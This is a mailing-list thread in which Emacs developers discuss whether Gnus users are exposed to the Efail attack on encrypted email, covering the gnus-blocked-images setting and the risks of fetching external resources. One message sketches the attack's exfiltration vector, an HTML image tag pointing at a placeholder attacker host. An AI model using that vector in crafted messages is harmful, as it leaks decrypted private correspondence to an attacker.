Emacs/Mutt and Efail or OpenPGP is safer than S/MIME?

[Uwe Brauer]

Hi

Currently there is a ongoing discussion on
gmane.comp.encryption.gpg.user
about the vulnerability of smime/pgp.
Which was published in
https://efail.de/efail-attack-paper.pdf


I am using, besides gnupg, s/mime in GNU emacs with gnus, using gpgsm
and epg.

Now in the documented listed above mutt is listed, which is text based,
as being vulnerable.


So I am wondering: am I save with the above setting, maybe I should
check my html settings in gnus?

Regards

Uwe Brauer

[Lars Ingebrigtsen]

Post by Uwe Brauer
So I am wondering: am I save with the above setting, maybe I should
check my html settings in gnus?

Gnus doesn't load external resources when reading mail (by default).

[Uwe Brauer]

Post by Lars Ingebrigtsen

Post by Uwe Brauer
So I am wondering: am I save with the above setting, maybe I should
check my html settings in gnus?

Gnus doesn't load external resources when reading mail (by default).

Just in case I change the default setting and don't remember, which
setting do I have to check?

[Lars Ingebrigtsen]

Post by Uwe Brauer
Just in case I change the default setting and don't remember, which
setting do I have to check?

`gnus-blocked-images'.

[Uwe Brauer]

Post by Lars Ingebrigtsen

Post by Uwe Brauer
Just in case I change the default setting and don't remember, which
setting do I have to check?

`gnus-blocked-images'.

Ok I changed the variable to
Its value is ‘gnus-block-private-groups’

Still the math png are displayed. My setting is

(setq gnus-mime-display-multipart-alternative-as-mixed nil) ; most important
(setq gnus-mime-display-multipart-related-as-mixed nil)
(setq gnus-mime-display-multipart-as-mixed nil)
(setq mm-discouraged-alternatives '("text/html")) ;standard setting for quotes in gmail
(setq mm-text-html-renderer 'shr)


So am I save with this setting?

[Lars Ingebrigtsen]

Post by Uwe Brauer
Ok I changed the variable to
Its value is ‘gnus-block-private-groups’
Still the math png are displayed. My setting is

Are you sure the math pngs are external and not embedded in a
multipart/related message?

[Lars Ingebrigtsen]

They are embedded (here is an example), the question is with changing
the setting to gnus-block-private-groups, am I safe?

Yes, you're safe when reading email.

[Uwe Brauer]

Post by Lars Ingebrigtsen

Post by Uwe Brauer
Just in case I change the default setting and don't remember, which
setting do I have to check?

`gnus-blocked-images'.

Oh. Thanks


The point is that sometimes I receive email containing mathematical
formula in png format, which are displayed. So I checked and I have

,----
| gnus-blocked-images is a variable defined in ‘gnus-art.el’.
| Its value is nil
| Original value was
| gnus-block-private-groups
|
| Documentation:
| Images that have URLs matching this regexp will be blocked.
| This can also be a function to be evaluated. If so, it will be
| called with the group name as the parameter, and should return a
| regexp.
|
| You can customize this variable.
|
| This variable was introduced, or its default value was changed, in
| version 24.1 of Emacs.
`----

Do I understand that in this case I am vulnerable?

Hm I could write a function which sets the variable to non nil, when a
smime/pgp signed/encrypted message arrives. But maybe setting this
variable when opening the message is too late to avoid the
vulnerability.

So maybe it is safer to return to the original setting and set it to
nil, if I am sure the message is *not* encrypted/signed.

Any opinions?

[Lars Ingebrigtsen]

Post by Uwe Brauer
The point is that sometimes I receive email containing mathematical
formula in png format, which are displayed. So I checked and I have
,----
| gnus-blocked-images is a variable defined in ‘gnus-art.el’.
| Its value is nil

[...]

Post by Uwe Brauer
Do I understand that in this case I am vulnerable?

Yes.

[Lars Ingebrigtsen]

Post by Uwe Brauer
The point is that sometimes I receive email containing mathematical
formula in png format, which are displayed. So I checked and I have
,----
| gnus-blocked-images is a variable defined in ‘gnus-art.el’.
| Its value is nil

[...]

Post by Uwe Brauer
Do I understand that in this case I am vulnerable?

Yes.

That is, if you load external resources, you've vulnerable to
information leakage, and people will track whether you've read their
emails and stuff.

You're not vulnerable to the first form of the S/MIME attack, because
Gnus isn't insane, but you are somewhat vulnerable to the second form
(the one that involves mangling the encrypted PGP payload itself).

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider ]]]
[[[ whether defending the US Constitution against all enemies, ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

If you allow a mail user agent to render HTML for you, you expose
yourself to various kinds of surveillance and swindles. Now, it seems,
one of those might be a decryption exploit.

Does the exploit depend on Javascript code that the MUI will execute?

[Uwe Brauer]

Post by Richard Stallman
[[[ To any NSA and FBI agents reading my email: please consider ]]]
[[[ whether defending the US Constitution against all enemies, ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]
If you allow a mail user agent to render HTML for you, you expose
yourself to various kinds of surveillance and swindles. Now, it seems,
one of those might be a decryption exploit.
Does the exploit depend on Javascript code that the MUI will execute?

Not sure, will ask in the gnupg list. Would be a sort of irony if the
only save email reader (avoiding this sort of attack) were GNU Emacs
+gnus/rmail/vm.

Snowden should have told us this. :-D

[Lars Ingebrigtsen]

Post by Richard Stallman
Does the exploit depend on Javascript code that the MUI will execute?

No, it just depends in <img src="http://attacker.org/" in various
scenarios (either embedded at the start of the PGP-encrypted message
itself (which is possible due to certain deficiencies in the format)),
or due to mishandling by certain mail user agents of multipart/mixed,
where it would concatenate various parts before parsing the resulting
mess as one HTML message.

[Eli Zaretskii]

Date: Tue, 15 May 2018 22:52:38 -0400
If you allow a mail user agent to render HTML for you, you expose
yourself to various kinds of surveillance and swindles.

I don't think HTML rendering per se is the problem. The problem is
when the MUA automatically fetches stuff referenced in the email as a
URL pointing to some server.

As long as the MUA renders HTML that is only contained in the mail
message, there's no leak of private information outside of the MUA.
At least that's my understanding of the paper which was cited here.

E.g., Rmail renders HTML messages, but doesn't access external URL
references, it creates a button out of each reference that the user
needs to activate to cause Emacs to fetch the URL.

[Andreas Schwab]

Post by Eli Zaretskii
E.g., Rmail renders HTML messages, but doesn't access external URL
references, it creates a button out of each reference that the user
needs to activate to cause Emacs to fetch the URL.

There is a difference between anchors that form links to other pages,
and elements like images that are part of the contents, but use external
references (instead of using data that is part of the message). In
order to render the latter the external reference must be fetched.

Andreas.

[Eli Zaretskii]

Date: Wed, 16 May 2018 19:15:09 +0200

Post by Eli Zaretskii
E.g., Rmail renders HTML messages, but doesn't access external URL
references, it creates a button out of each reference that the user
needs to activate to cause Emacs to fetch the URL.

There is a difference between anchors that form links to other pages,
and elements like images that are part of the contents, but use external
references (instead of using data that is part of the message). In
order to render the latter the external reference must be fetched.

I agree that there's a difference, but a good MUA should treat them
the same, and only download images after the user confirms.

(And private/secret correspondence shouldn't include such external
references in the first place, IMHO.)

[Andreas Schwab]

Post by Eli Zaretskii

Date: Wed, 16 May 2018 19:15:09 +0200

Post by Eli Zaretskii
E.g., Rmail renders HTML messages, but doesn't access external URL
references, it creates a button out of each reference that the user
needs to activate to cause Emacs to fetch the URL.

There is a difference between anchors that form links to other pages,
and elements like images that are part of the contents, but use external
references (instead of using data that is part of the message). In
order to render the latter the external reference must be fetched.

I agree that there's a difference, but a good MUA should treat them
the same, and only download images after the user confirms.

There are other elements like style sheets that are needed for rendering
the whole message. The point is that the rendering engine needs to
support such security measures in the first place.

Post by Eli Zaretskii
(And private/secret correspondence shouldn't include such external
references in the first place, IMHO.)

Sadly, most people don't care enough.

Andreas.

[Joost Kremers]

Post by Eli Zaretskii
(And private/secret correspondence shouldn't include such
external
references in the first place, IMHO.)

Sure, but if I understand EFAIL correctly, it's not about you or
your interlocutor including external references into encrypted
emails. It's about an attacker sending you a carefully crafted
malicious email that contains the encrypted version of another
email that you once sent or received and which the attacker got a
hold of (e.g., by gaining access to your ISP's mail server, or by
intercepting it while in transit, or whatever). It's this
malicious email that contains external references, not your
original email that the attacker is trying to decrypt.

At least, that's my limited understanding of the issue...